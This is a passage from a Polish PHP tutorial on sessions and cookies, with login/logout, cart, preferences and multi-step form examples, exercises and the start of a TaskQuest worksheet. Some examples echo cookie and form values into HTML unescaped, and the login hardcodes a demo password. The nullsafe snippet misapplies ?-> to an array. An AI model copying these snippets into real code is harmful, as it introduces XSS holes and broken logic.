$permissions = match($_SESSION&#91;'role'] ?? 'guest') {
    'admin' =&gt; &#91;'read', 'write', 'delete'],
    'editor' =&gt; &#91;'read', 'write'],
    'user' =&gt; &#91;'read'],
    default =&gt; &#91;]
};</code></pre>



<h3 class="wp-block-heading">3. Nullsafe operator</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// PHP 7 - sprawdzanie zagnieżdżonych danych
$city = null;
if (isset($_SESSION&#91;'user']) &amp;&amp; 
    isset($_SESSION&#91;'user']&#91;'address']) &amp;&amp; 
    isset($_SESSION&#91;'user']&#91;'address']&#91;'city'])) {
    $city = $_SESSION&#91;'user']&#91;'address']&#91;'city'];
}

// PHP 8 - nullsafe operator
$city = $_SESSION&#91;'user']?-&gt;address?-&gt;city ?? 'Nieznane';</code></pre>



<h3 class="wp-block-heading">4. Union types</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 8 - funkcja może zwrócić string lub null
function getUserName(): string|null {
    session_start();
    return $_SESSION&#91;'username'] ?? null;
}

// Użycie
$name = getUserName() ?? 'Gość';</code></pre>



<h3 class="wp-block-heading">5. Constructor property promotion</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 7
class SessionManager {
    private int $timeout;
    private string $savePath;
    
    public function __construct(int $timeout, string $savePath) {
        $this-&gt;timeout = $timeout;
        $this-&gt;savePath = $savePath;
    }
}

// PHP 8 - zwięźle
class SessionManager {
    public function __construct(
        private int $timeout,
        private string $savePath
    ) {}
}

// Użycie
$manager = new SessionManager(1800, '/tmp/sessions');</code></pre>



<h2 class="wp-block-heading">Przykłady praktyczne</h2>



<h3 class="wp-block-heading">1. Prosty system logowania</h3>



<p class="wp-block-paragraph">login.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Jeśli już zalogowany, przekieruj
if (isset($_SESSION&#91;'user_id'])) {
    header('Location: dashboard.php');
    exit;
}

$error = '';

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $username = $_POST&#91;'username'] ?? '';
    $password = $_POST&#91;'password'] ?? '';
    
    // Przykładowa walidacja (w prawdziwej aplikacji: baza danych + hash)
    if ($username === 'admin' &amp;&amp; $password === 'password123') {
        // Regeneruj ID sesji (ochrona przed session fixation)
        session_regenerate_id(true);
        
        // Zaloguj użytkownika
        $_SESSION&#91;'user_id'] = 1;
        $_SESSION&#91;'username'] = $username;
        $_SESSION&#91;'login_time'] = time();
        $_SESSION&#91;'is_admin'] = true;
        
        // Zapamiętaj IP i User Agent (ochrona przed hijacking)
        $_SESSION&#91;'user_ip'] = $_SERVER&#91;'REMOTE_ADDR'];
        $_SESSION&#91;'user_agent'] = $_SERVER&#91;'HTTP_USER_AGENT'];
        
        header('Location: dashboard.php');
        exit;
    } else {
        $error = 'Nieprawidłowy login lub hasło';
    }
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Logowanie&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 400px; margin: 50px auto; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; width: 100%; }
        .error { color: red; padding: 10px; background: #fee; border: 1px solid red; margin-bottom: 15px; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Logowanie&lt;/h1&gt;
    
    &lt;?php if ($error): ?&gt;
        &lt;div class="error"&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;input type="text" name="username" placeholder="Login" required&gt;
        &lt;input type="password" name="password" placeholder="Hasło" required&gt;
        &lt;button type="submit"&gt;Zaloguj&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;p&gt;&lt;small&gt;Dane testowe: admin / password123&lt;/small&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">dashboard.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy użytkownik jest zalogowany
if (!isset($_SESSION&#91;'user_id'])) {
    header('Location: login.php');
    exit;
}

// Sprawdź timeout (30 minut bezczynności)
$timeout = 1800;
if (isset($_SESSION&#91;'last_activity']) &amp;&amp; (time() - $_SESSION&#91;'last_activity']) &gt; $timeout) {
    session_destroy();
    header('Location: login.php?timeout=1');
    exit;
}
$_SESSION&#91;'last_activity'] = time();

// Sprawdź IP i User Agent (ochrona przed hijacking)
if ($_SESSION&#91;'user_ip'] !== $_SERVER&#91;'REMOTE_ADDR'] ||
    $_SESSION&#91;'user_agent'] !== $_SERVER&#91;'HTTP_USER_AGENT']) {
    session_destroy();
    die('Sesja została zakończona ze względów bezpieczeństwa');
}

$username = $_SESSION&#91;'username'];
$loginTime = date('Y-m-d H:i:s', $_SESSION&#91;'login_time']);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Panel użytkownika&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        .user-info { background: #e7f3ff; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
        a { display: inline-block; padding: 10px 20px; background: #dc3545; color: white; 
            text-decoration: none; border-radius: 5px; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Panel użytkownika&lt;/h1&gt;
    
    &lt;div class="user-info"&gt;
        &lt;p&gt;Zalogowany jako: &lt;strong&gt;&lt;?= htmlspecialchars($username) ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Czas logowania: &lt;?= $loginTime ?&gt;&lt;/p&gt;
        &lt;p&gt;ID sesji: &lt;?= session_id() ?&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;p&gt;&lt;a href="logout.php"&gt;Wyloguj się&lt;/a&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">logout.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Wyloguj użytkownika
$_SESSION = &#91;];

// Usuń cookie z SID
if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// Zniszcz sesję
session_destroy();

header('Location: login.php');
exit;</code></pre>



<h3 class="wp-block-heading">2. Koszyk zakupowy</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Inicjalizuj koszyk jeśli nie istnieje
if (!isset($_SESSION&#91;'cart'])) {
    $_SESSION&#91;'cart'] = &#91;];
}

// Dodaj produkt
if (isset($_POST&#91;'add_to_cart'])) {
    $product = &#91;
        'id' =&gt; $_POST&#91;'product_id'],
        'name' =&gt; $_POST&#91;'product_name'],
        'price' =&gt; (float)$_POST&#91;'product_price'],
        'quantity' =&gt; 1
    ];
    
    // Sprawdź czy produkt już jest w koszyku
    $found = false;
    foreach ($_SESSION&#91;'cart'] as &amp;$item) {
        if ($item&#91;'id'] === $product&#91;'id']) {
            $item&#91;'quantity']++;
            $found = true;
            break;
        }
    }
    
    if (!$found) {
        $_SESSION&#91;'cart']&#91;] = $product;
    }
}

// Usuń produkt
if (isset($_POST&#91;'remove_from_cart'])) {
    $removeId = $_POST&#91;'product_id'];
    $_SESSION&#91;'cart'] = array_filter($_SESSION&#91;'cart'], fn($item) =&gt; $item&#91;'id'] !== $removeId);
    $_SESSION&#91;'cart'] = array_values($_SESSION&#91;'cart']); // Prze-indeksuj tablicę
}

// Oblicz sumę
$total = 0;
foreach ($_SESSION&#91;'cart'] as $item) {
    $total += $item&#91;'price'] * $item&#91;'quantity'];
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Koszyk&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        .total { font-size: 20px; font-weight: bold; margin-top: 20px; text-align: right; }
        button { padding: 5px 10px; cursor: pointer; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Koszyk zakupowy&lt;/h1&gt;
    
    &lt;?php if (empty($_SESSION&#91;'cart'])): ?&gt;
        &lt;p&gt;Koszyk jest pusty&lt;/p&gt;
    &lt;?php else: ?&gt;
        &lt;table&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Produkt&lt;/th&gt;
                    &lt;th&gt;Cena&lt;/th&gt;
                    &lt;th&gt;Ilość&lt;/th&gt;
                    &lt;th&gt;Wartość&lt;/th&gt;
                    &lt;th&gt;Akcja&lt;/th&gt;
                &lt;/tr&gt;
            &lt;/thead&gt;
            &lt;tbody&gt;
                &lt;?php foreach ($_SESSION&#91;'cart'] as $item): ?&gt;
                    &lt;tr&gt;
                        &lt;td&gt;&lt;?= htmlspecialchars($item&#91;'name']) ?&gt;&lt;/td&gt;
                        &lt;td&gt;&lt;?= number_format($item&#91;'price'], 2) ?&gt; zł&lt;/td&gt;
                        &lt;td&gt;&lt;?= $item&#91;'quantity'] ?&gt;&lt;/td&gt;
                        &lt;td&gt;&lt;?= number_format($item&#91;'price'] * $item&#91;'quantity'], 2) ?&gt; zł&lt;/td&gt;
                        &lt;td&gt;
                            &lt;form method="POST" style="display: inline;"&gt;
                                &lt;input type="hidden" name="product_id" value="&lt;?= $item&#91;'id'] ?&gt;"&gt;
                                &lt;button type="submit" name="remove_from_cart"&gt;Usuń&lt;/button&gt;
                            &lt;/form&gt;
                        &lt;/td&gt;
                    &lt;/tr&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/tbody&gt;
        &lt;/table&gt;
        
        &lt;div class="total"&gt;
            Suma: &lt;?= number_format($total, 2) ?&gt; zł
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;hr&gt;
    
    &lt;h2&gt;Dodaj produkt&lt;/h2&gt;
    &lt;form method="POST"&gt;
        &lt;input type="hidden" name="product_id" value="&lt;?= uniqid() ?&gt;"&gt;
        &lt;input type="text" name="product_name" placeholder="Nazwa produktu" required&gt;
        &lt;input type="number" name="product_price" placeholder="Cena" step="0.01" required&gt;
        &lt;button type="submit" name="add_to_cart"&gt;Dodaj do koszyka&lt;/button&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">3. Preferencje użytkownika w cookies</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Obsługa formularza - zapis preferencji
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $theme = $_POST&#91;'theme'] ?? 'light';
    $fontSize = $_POST&#91;'font_size'] ?? 'medium';
    $language = $_POST&#91;'language'] ?? 'pl';
    
    // Zapisz na 365 dni
    $expires = time() + (365 * 24 * 60 * 60);
    setcookie('theme', $theme, $expires, '/', '', false, true);
    setcookie('font_size', $fontSize, $expires, '/', '', false, true);
    setcookie('language', $language, $expires, '/', '', false, true);
    
    header('Location: ' . $_SERVER&#91;'PHP_SELF']);
    exit;
}

// Odczytaj preferencje
$theme = $_COOKIE&#91;'theme'] ?? 'light';
$fontSize = $_COOKIE&#91;'font_size'] ?? 'medium';
$language = $_COOKIE&#91;'language'] ?? 'pl';

// Mapowanie rozmiarów czcionek
$fontSizes = &#91;
    'small' =&gt; '14px',
    'medium' =&gt; '16px',
    'large' =&gt; '20px'
];
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="&lt;?= $language ?&gt;"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Preferencje&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            font-size: &lt;?= $fontSizes&#91;$fontSize] ?&gt;;
            padding: 20px;
            max-width: 800px;
            margin: 0 auto;
        }
        body.light {
            background: #ffffff;
            color: #000000;
        }
        body.dark {
            background: #1a1a1a;
            color: #ffffff;
        }
        form {
            background: rgba(128, 128, 128, 0.1);
            padding: 20px;
            border-radius: 5px;
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            font-weight: bold;
        }
        select {
            padding: 8px;
            width: 200px;
        }
        button {
            margin-top: 15px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 4px;
        }
        .current {
            background: rgba(0, 123, 255, 0.1);
            padding: 15px;
            border-radius: 5px;
            margin: 20px 0;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body class="&lt;?= $theme ?&gt;"&gt;
    &lt;h1&gt;Twoje preferencje&lt;/h1&gt;
    
    &lt;div class="current"&gt;
        &lt;h3&gt;Aktualne ustawienia:&lt;/h3&gt;
        &lt;p&gt;Motyw: &lt;strong&gt;&lt;?= $theme === 'light' ? 'Jasny' : 'Ciemny' ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Rozmiar czcionki: &lt;strong&gt;&lt;?= ucfirst($fontSize) ?&gt;&lt;/strong&gt;&lt;/p&gt;
        &lt;p&gt;Język: &lt;strong&gt;&lt;?= $language === 'pl' ? 'Polski' : 'English' ?&gt;&lt;/strong&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;label&gt;Motyw:&lt;/label&gt;
        &lt;select name="theme"&gt;
            &lt;option value="light" &lt;?= $theme === 'light' ? 'selected' : '' ?&gt;&gt;Jasny&lt;/option&gt;
            &lt;option value="dark" &lt;?= $theme === 'dark' ? 'selected' : '' ?&gt;&gt;Ciemny&lt;/option&gt;
        &lt;/select&gt;
        
        &lt;label&gt;Rozmiar czcionki:&lt;/label&gt;
        &lt;select name="font_size"&gt;
            &lt;option value="small" &lt;?= $fontSize === 'small' ? 'selected' : '' ?&gt;&gt;Mała&lt;/option&gt;
            &lt;option value="medium" &lt;?= $fontSize === 'medium' ? 'selected' : '' ?&gt;&gt;Średnia&lt;/option&gt;
            &lt;option value="large" &lt;?= $fontSize === 'large' ? 'selected' : '' ?&gt;&gt;Duża&lt;/option&gt;
        &lt;/select&gt;
        
        &lt;label&gt;Język:&lt;/label&gt;
        &lt;select name="language"&gt;
            &lt;option value="pl" &lt;?= $language === 'pl' ? 'selected' : '' ?&gt;&gt;Polski&lt;/option&gt;
            &lt;option value="en" &lt;?= $language === 'en' ? 'selected' : '' ?&gt;&gt;English&lt;/option&gt;
        &lt;/select&gt;
        
        &lt;button type="submit"&gt;Zapisz preferencje&lt;/button&gt;
    &lt;/form&gt;
    
    &lt;p&gt;&lt;small&gt;Preferencje są przechowywane w ciasteczkach przez 365 dni&lt;/small&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">4. Wieloetapowy formularz z sesjami</h3>



<p class="wp-block-paragraph">step1.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $_SESSION&#91;'step1'] = &#91;
        'imie' =&gt; trim($_POST&#91;'imie']),
        'nazwisko' =&gt; trim($_POST&#91;'nazwisko']),
        'email' =&gt; trim($_POST&#91;'email']),
        'telefon' =&gt; trim($_POST&#91;'telefon'])
    ];
    header('Location: step2.php');
    exit;
}

// Zachowaj wartości jeśli użytkownik wraca
$data = $_SESSION&#91;'step1'] ?? &#91;];
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja - Krok 1/3&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 33%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Rejestracja - Krok 1/3&lt;/h1&gt;
    &lt;h2&gt;Dane osobowe&lt;/h2&gt;
    
    &lt;div class="progress"&gt;
        &lt;div class="progress-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;label&gt;Imię:&lt;/label&gt;
        &lt;input type="text" name="imie" value="&lt;?= htmlspecialchars($data&#91;'imie'] ?? '') ?&gt;" required&gt;
        
        &lt;label&gt;Nazwisko:&lt;/label&gt;
        &lt;input type="text" name="nazwisko" value="&lt;?= htmlspecialchars($data&#91;'nazwisko'] ?? '') ?&gt;" required&gt;
        
        &lt;label&gt;Email:&lt;/label&gt;
        &lt;input type="email" name="email" value="&lt;?= htmlspecialchars($data&#91;'email'] ?? '') ?&gt;" required&gt;
        
        &lt;label&gt;Telefon:&lt;/label&gt;
        &lt;input type="tel" name="telefon" value="&lt;?= htmlspecialchars($data&#91;'telefon'] ?? '') ?&gt;" pattern="&#91;0-9]{9}" placeholder="123456789"&gt;
        
        &lt;button type="submit"&gt;Dalej&lt;/button&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">step2.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy krok 1 został wypełniony
if (!isset($_SESSION&#91;'step1'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $_SESSION&#91;'step2'] = &#91;
        'ulica' =&gt; trim($_POST&#91;'ulica']),
        'miasto' =&gt; trim($_POST&#91;'miasto']),
        'kod' =&gt; trim($_POST&#91;'kod'])
    ];
    header('Location: step3.php');
    exit;
}

$data = $_SESSION&#91;'step2'] ?? &#91;];
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja - Krok 2/3&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 66%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Rejestracja - Krok 2/3&lt;/h1&gt;
    &lt;h2&gt;Adres&lt;/h2&gt;
    
    &lt;div class="progress"&gt;
        &lt;div class="progress-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;label&gt;Ulica i numer:&lt;/label&gt;
        &lt;input type="text" name="ulica" value="&lt;?= htmlspecialchars($data&#91;'ulica'] ?? '') ?&gt;" required&gt;
        
        &lt;label&gt;Miasto:&lt;/label&gt;
        &lt;input type="text" name="miasto" value="&lt;?= htmlspecialchars($data&#91;'miasto'] ?? '') ?&gt;" required&gt;
        
        &lt;label&gt;Kod pocztowy:&lt;/label&gt;
        &lt;input type="text" name="kod" value="&lt;?= htmlspecialchars($data&#91;'kod'] ?? '') ?&gt;" pattern="&#91;0-9]{2}-&#91;0-9]{3}" placeholder="00-000" required&gt;
        
        &lt;button type="submit"&gt;Dalej&lt;/button&gt;
        &lt;a href="step1.php"&gt;&lt;button type="button" class="back"&gt;Wstecz&lt;/button&gt;&lt;/a&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">step3.php:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

// Sprawdź czy poprzednie kroki zostały wypełnione
if (!isset($_SESSION&#91;'step1']) || !isset($_SESSION&#91;'step2'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // Zapisz dane (np. do bazy danych lub pliku)
    $allData = array_merge($_SESSION&#91;'step1'], $_SESSION&#91;'step2']);
    
    // Tutaj zapis do bazy/pliku
    // saveUserData($allData);
    
    // Wyczyść sesję
    unset($_SESSION&#91;'step1']);
    unset($_SESSION&#91;'step2']);
    
    header('Location: success.php');
    exit;
}

$data = array_merge($_SESSION&#91;'step1'], $_SESSION&#91;'step2']);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja - Krok 3/3&lt;/title&gt;
    &lt;style&gt;
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #28a745; height: 100%; border-radius: 10px; width: 100%; }
        .summary { background: #f8f9fa; padding: 20px; border-radius: 5px; margin: 20px 0; }
        button { padding: 10px 20px; background: #28a745; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Rejestracja - Krok 3/3&lt;/h1&gt;
    &lt;h2&gt;Podsumowanie&lt;/h2&gt;
    
    &lt;div class="progress"&gt;
        &lt;div class="progress-bar"&gt;&lt;/div&gt;
    &lt;/div&gt;
    
    &lt;div class="summary"&gt;
        &lt;h3&gt;Dane osobowe:&lt;/h3&gt;
        &lt;p&gt;Imię: &lt;?= htmlspecialchars($data&#91;'imie']) ?&gt;&lt;/p&gt;
        &lt;p&gt;Nazwisko: &lt;?= htmlspecialchars($data&#91;'nazwisko']) ?&gt;&lt;/p&gt;
        &lt;p&gt;Email: &lt;?= htmlspecialchars($data&#91;'email']) ?&gt;&lt;/p&gt;
        &lt;p&gt;Telefon: &lt;?= htmlspecialchars($data&#91;'telefon']) ?&gt;&lt;/p&gt;
        
        &lt;h3&gt;Adres:&lt;/h3&gt;
        &lt;p&gt;Ulica: &lt;?= htmlspecialchars($data&#91;'ulica']) ?&gt;&lt;/p&gt;
        &lt;p&gt;Miasto: &lt;?= htmlspecialchars($data&#91;'miasto']) ?&gt;&lt;/p&gt;
        &lt;p&gt;Kod pocztowy: &lt;?= htmlspecialchars($data&#91;'kod']) ?&gt;&lt;/p&gt;
    &lt;/div&gt;
    
    &lt;form method="POST"&gt;
        &lt;button type="submit"&gt;Zatwierdź rejestrację&lt;/button&gt;
        &lt;a href="step2.php"&gt;&lt;button type="button" class="back"&gt;Wstecz&lt;/button&gt;&lt;/a&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h2 class="wp-block-heading">Zadania praktyczne</h2>



<h3>Zadanie 1: System &#8222;Nie pokazuj więcej&#8221;</h3>
<p>Stwórz stronę z popup&#8217;em, który pojawia się tylko raz. Po kliknięciu &#8222;Nie pokazuj więcej&#8221; zapisz informację w cookie na 30 dni.</p>
<p>Wymagania:</p>
<ul>
<li>Popup wyświetla się na środku ekranu</li>
<li>Szare tło (overlay) pod popup&#8217;em</li>
<li>Przycisk &#8222;Zamknij&#8221; &#8211; zamyka na tę sesję</li>
<li>Checkbox &#8222;Nie pokazuj więcej&#8221; &#8211; zamyka na 30 dni</li>
</ul>
<h3>Zadanie 2: Prosty koszyk z sesjami</h3>
<p>Stwórz koszyk zakupowy wykorzystujący sesje:</p>
<ul>
<li>Lista produktów z cenami</li>
<li>Przycisk &#8222;Dodaj do koszyka&#8221;</li>
<li>Wyświetlanie zawartości koszyka</li>
<li>Zmiana ilości produktów</li>
<li>Usuwanie produktów</li>
<li>Obliczanie sumy</li>
</ul>
<h3>Zadanie 3: System logowania z &#8222;Zapamiętaj mnie&#8221;</h3>
<p>Stwórz system logowania:</p>
<ul>
<li>Formularz login/hasło</li>
<li>Checkbox &#8222;Zapamiętaj mnie&#8221;</li>
<li>Sesja dla zalogowanego użytkownika</li>
<li>Cookie z tokenem na 30 dni (jeśli zaznaczono &#8222;Zapamiętaj&#8221;)</li>
<li>Automatyczne logowanie przy kolejnej wizycie</li>
<li>Bezpieczne wylogowanie</li>
</ul>
<h3>Zadanie 4: Licznik unikalnych odwiedzin</h3>
<p>Stwórz licznik, który:</p>
<ul>
<li>Zlicza każde wejście na stronę (sesja)</li>
<li>Ale liczy użytkownika tylko raz dziennie (cookie)</li>
<li>Wyświetla: &#8222;Dzisiaj odwiedziło nas X użytkowników&#8221;</li>
<li>Resetuje licznik o północy</li>
</ul>
<h3>Zadanie 5: Preferencje użytkownika</h3>
<p>Stwórz stronę z formularzem preferencji:</p>
<ul>
<li>Wybór motywu (jasny/ciemny)</li>
<li>Wybór rozmiaru czcionki (mała/średnia/duża)</li>
<li>Wybór języka (PL/EN)</li>
<li>Zapisz w cookies na rok</li>
<li>Zastosuj preferencje na całej stronie</li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.4 — aplikacja pamięta użytkownika</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 13 TaskQuest przyjmuje zadania z formularza. Ale każde żądanie zaczyna się od zera: skrypt kończy działanie po wysłaniu strony i niczego nie pamięta. Dlatego w Lekcji 13 musieliśmy iść na skróty — komunikat „Zadanie zostało dodane.” jechał w adresie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>), wybrany widok listy znikał przy wejściu na stronę bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=...</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> były wpisane na sztywno w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Dziś TaskQuest dostaje <strong>pamięć między żądaniami</strong>: sesję po stronie serwera i ciasteczka (cookies) po stronie przeglądarki. Dzięki nim aplikacja wie, kto z niej korzysta, pokazuje komunikat dokładnie raz i pamięta ulubiony widok listy.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć TaskQuest:</p>



<ul class="wp-block-list">
<li>zapamiętywać dane w przeglądarce użytkownika (<code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>) i rozumieć, że cookie to <strong>dane od użytkownika</strong>,</li>



<li>zapamiętywać dane na serwerze (<code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>) i rozumieć, jak serwer rozpoznaje „tę samą” przeglądarkę (identyfikator sesji <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>),</li>



<li>logować użytkownika (wersja demonstracyjna: login + imię, bez hasła) i wpuszczać na strony aplikacji tylko zalogowanych,</li>



<li>wylogowywać — usuwać dane sesji, ciasteczko sesji i samą sesję,</li>



<li>pokazywać <strong>komunikat jednorazowy</strong> (zapisz w sesji → przekieruj → odczytaj i usuń),</li>



<li>pamiętać wybrany widok listy przez 30 dni w cookie,</li>



<li>świadomie wybierać: co trzymać w sesji, a co w cookie.</li>
</ul>



<p class="wp-block-paragraph">Efekt: wejście na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> bez logowania przenosi na nową stronę <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>. Po podaniu poprawnego loginu i imienia użytkownik widzi swoją stronę główną („Witaj, Ola!”, „Zalogowano jako Ola_2026”), przycisk „Wyloguj” i jednorazowy komunikat. Komunikat „Zadanie zostało dodane.” znika po odświeżeniu i nie da się go wywołać adresem. Wybrany widok listy (np. „aktywne”) zostaje zapamiętany także po zamknięciu przeglądarki.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
